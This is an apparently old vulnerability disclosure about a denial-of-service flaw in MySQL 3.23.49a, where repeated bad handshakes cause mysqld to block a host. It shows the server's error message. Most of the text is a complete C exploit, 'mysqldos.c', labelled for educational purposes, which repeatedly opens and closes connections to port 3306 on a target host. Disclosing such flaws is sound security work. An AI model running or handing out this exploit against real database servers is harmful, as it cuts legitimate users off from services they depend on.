DoS against mysqld

["luca.ercoli@inwind.it" <luca.ercoli@inwind.it>]

If are create more than eleven bad connection (ex. Bad Handshake) 
at port mysqld, the server, from this time, block all incoming
connections.

This is the error:

mysql> connect test 127.0.0.1
ERROR 1129: Host 'localhost.localdomain' is blocked because of many
connection errors.  Unblock with 'mysqladmin flush-hosts'

This is the exploit:


/* 
mysqldos.c 
FOR EDUCATIONAL PURPOSE
Luca Ercoli luca.ercoli@inwind.it
tested against ver 3.23.49a
*/

#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>

#define PORT 3306

int main(int argc, char *argv[]){

int sockfd;
struct hostent *he;
struct sockaddr_in their_addr;

int c;	
int n;   
 char *host = NULL;
	

	if(argc < 2 ) { 
		printf ("Sintassi: %s -h host\n",argv[0]);
		exit(0);
	}


while((n = getopt(argc, argv, "h")) != -1) {
		switch(n) {
			case 'h':
			host = optarg;
			break;
					
			default:
			printf("Errore in argv\n");
			exit(0);
		}
	}


if ((he = gethostbyname(argv[2])) == NULL)
	  {
		  herror("gethostbyname");
		  exit(1);
	  }

	their_addr.sin_family = AF_INET;
	their_addr.sin_port = htons(PORT);
	their_addr.sin_addr = *((struct in_addr *) he->h_addr);
	bzero(&(their_addr.sin_zero), 8);

printf("Sending dos ");

for (c=0;c<15;c++){

if ((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
	  {
		  perror("socket");
		  exit(1);
	  }



	if (connect (sockfd, (struct sockaddr *) &their_addr, sizeof(struct
sockaddr)) == -1)
	  {
		  perror("connect");
		  exit(1);
	  }

        printf (".");

close(sockfd);

}

printf("\n");
return 1;

}